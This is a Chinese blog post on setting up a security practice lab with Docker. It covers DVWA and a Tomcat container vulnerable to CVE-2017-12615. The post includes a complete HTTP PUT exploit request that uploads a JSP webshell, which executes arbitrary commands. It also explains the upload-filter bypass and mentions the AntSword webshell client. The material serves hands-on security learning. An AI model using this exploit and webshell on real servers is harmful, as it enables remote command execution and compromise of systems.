首页 > 其他分享 >攻防环境搭建

攻防环境搭建

时间:2023-01-27 00:56:22浏览次数:52  
标签:xml 攻防 zh tomcat 环境 jsp docker 2017 搭建

一、PHP攻防环境

1. DVWA

docker pull sagikazarmark/dvwa
docker run -d -p 8080:80 -p 33060:3306 sagikazarmark/dvwa

image

2. Tomcat

docker search CVE-2017-12615
docker pull docker.io/cved/cve-2017-12615
docker run -d -p 8081:8080  docker.io/cved/cve-2017-12615
docker exec -it   containerId   bash

代码

PUT /shell.jsp/ HTTP/1.1
Host: 43.136.41.84:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 302

<%
if("magedu".equals(request.getParameter("pwd"))){
java.io.InputStream in =
Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>

效果图
image

image

docker exec -it 773003f67f3c bash
image

漏洞原理
cat /usr/local/tomcat/conf/web.xml
image

tomcat本身不允许上传.jsp文件,.jsp/黑名单绕过 上传,然后保存格式.jsp

蚁剑

    • image
    • image
    • image
    • image

Tomcat总结
tomcat、shell、蚁剑的关系:
1、因为tomcat存在漏洞,所以可以上传shell
2、能保存是因为系统不允许以/作为后缀名
Tomcat版本:7.0.0-7.0.79、8.5.19

POC: 一段漏洞利用证明的代码
EXP: 利用系统漏洞进行攻击的动作
pauload: 有效载荷,是指攻击成功后,真正在目标系统上执行的代码或指令
RCE: 远程命令/代码执行

3. Struts

4. JBoss

标签:xml,攻防,zh,tomcat,环境,jsp,docker,2017,搭建
From: https://www.cnblogs.com/abc1d/p/17068226.html

相关文章

  • Linux环境安装go部署运行gin框架
    1、Centos7.9解压安装go1.18[root@node0109:21:08/usr/local]#cd/usr/local/&&tarxfgo1.18.1.linux-amd64.tar.gz2、添加环境变量vim/etc/profileexportG......
  • 攻防世界-mfw
    一道有关git泄露以及命令执行漏洞的题目  一、基础知识git泄露Git是一个开源的分布式版本控制系统,开发者可通过其对站点进行部署。在配置不当的情况下,可能会将“.......
  • 搭建开发环境 -- linux系统
    前言 默认使用vagrant搭建环境,此环境可以不占用本地端口,即插即用,使用的工具有:docker  对应的控制台工具  portainermysqlredisnacos ===================......
  • Java环境搭建
    Java开发环境搭建在Windows系统上安装Java,以及编写一个简单的Java程序并运行。Author:MsuenbDate:2023-01-26下载JDK我们首先需要下载JDK安装包,下载地......
  • 实战-mongodb副本集搭建以及整合springboot使用
    一mongodb介绍MongoDB是一个基于分布式文件存储的数据库。由C++语言编写。旨在为WEB应用提供可扩展的高性能数据存储解决方案。 Nosql技术门类redis内存型mongodb......
  • go-rod window环境设置浏览器宽高
         ​​https://github.com/go-rod/go-rod-chinese/blob/186e2fcf0611f0fcea74e723d82e079bd724ce8f/page_test.go​​ page.MustSetWindow(0,0,1211,611) ......
  • ClickHouse分布式安装-Docker环境
    安装背景本文主要介绍了在Docker环境下如何安装ClickHouse集群的过程,ClickHouse集群采用单分片三副本模式进行部署。服务器:bigdata1、bigdata2、bigdata3zookeeper:需要安装z......
  • 【六袆 - Java】在本地搭建easyexcel源码环境;easyexcel提供的demo单元测试用例完美运
    在本地搭建easyexcel源码环境​​EasyExcel​​​​本地环境搭建​​​​最新版本3.1.5,依赖问题,解决方案​​​​junit-读Excel​​EasyExcel本篇从github或官方文档来源参......
  • 【个人笔记】2023年搭建基于webpack5与typescript的react项目
    写在前面由于我在另外的一些文章所讨论或分析的内容可能基于一个已经初始化好的项目,为了避免每一个文章都重复的描述如何搭建项目,我在本文会统一记录下来,今后相关的文章直......
  • LESSON THREE:Java入门环境搭建
    Java入门环境搭建Java如何诞生改进了c与c++的一些难点;1995年诞生;三大版本:JavaSE:标准版(桌面程序、控制台开发、简单游戏...)JavaME:嵌入式开发JavaEE:E企业级开发(web......